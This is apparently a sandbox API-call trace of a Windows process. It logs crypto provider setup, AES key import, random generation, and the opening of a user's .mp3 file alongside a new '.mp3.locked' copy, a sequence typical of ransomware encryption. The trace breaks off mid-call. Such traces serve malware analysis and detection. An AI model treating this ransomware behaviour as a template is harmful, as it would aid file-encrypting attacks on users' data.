(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0134.245] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0134.245] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.246] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0134.246] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.246] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0134.246] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0134.246] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.246] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0134.246] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.246] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0134.246] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0134.246] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.246] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0134.246] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.246] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0134.246] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0134.246] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.247] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0134.247] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.247] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0134.247] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0134.247] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0134.247] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0134.247] SystemFunction041 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.247] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0134.247] SystemFunction040 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.247] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0134.247] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0134.247] SystemFunction041 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.247] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0134.247] SystemFunction040 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.247] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0134.247] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0134.247] SystemFunction041 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.248] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0134.248] SystemFunction040 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.248] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0134.248] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0134.248] SystemFunction041 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.248] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0134.248] SystemFunction040 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.248] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0134.248] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0134.248] SystemFunction041 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.248] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0134.248] SystemFunction040 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.248] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0134.248] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0134.248] SystemFunction041 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.249] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0134.249] SystemFunction040 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.249] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0134.249] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0134.249] SystemFunction041 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.249] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0134.249] SystemFunction040 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.249] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0134.249] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0134.249] SystemFunction041 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.249] SystemFunction040 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.249] SystemFunction041 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0134.249] SystemFunction040 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0134.250] SystemFunction041 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0134.250] SystemFunction040 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0134.250] SystemFunction041 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0134.250] SystemFunction040 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0134.250] SystemFunction041 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0134.250] SystemFunction040 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0134.250] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.250] SystemFunction041 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0134.251] SystemFunction040 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0134.251] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x43964e8) returned 1 [0134.252] CryptImportKey (in: hProv=0x43964e8, pbData=0x6a556a4, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e850f8) returned 1 [0134.252] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.252] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.252] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x10, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.252] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.252] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x10, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x10, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.253] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\ndeipakmx1cfmqx5qtf.mp3")) returned 0x20 [0134.253] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\ndeipakmx1cfmqx5qtf.mp3")) returned 0x20 [0134.253] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3", lpFilePart=0x0) returned 0x3d [0134.253] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3", lpFilePart=0x0) returned 0x3d [0134.254] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x10, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.254] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3", lpFilePart=0x0) returned 0x3d [0134.254] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3", lpFilePart=0x0) returned 0x3d [0134.254] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.254] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x11, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.254] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x10, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.254] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x11, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x11, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.254] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3", lpFilePart=0x0) returned 0x3d [0134.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0134.255] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\ndeipakmx1cfmqx5qtf.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0134.255] GetFileType (hFile=0x858) returned 0x1 [0134.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0134.256] GetFileType (hFile=0x858) returned 0x1 [0134.256] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x11, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.256] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0134.257] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x12, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.257] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x11, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.257] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x12, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x12, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.257] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3.locked", lpFilePart=0x0) returned 0x44 [0134.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0134.257] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\ndeipakmx1cfmqx5qtf.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0134.258] GetFileType (hFile=0x874) returned 0x1 [0134.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0134.258] GetFileType (hFile=0x874) returned 0x1 [0134.258] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x12, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.258] CryptGenRandom (in: hProv=0x43964e8, dwLen=0x10, pbBuffer=0x6a6cd44 | out: pbBuffer=0x6a6cd44) returned 1 [0134.258] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.259] CryptDuplicateKey (in: hKey=0x8e850f8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e85138) returned 1 [0134.259] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.259] CryptSetKeyParam 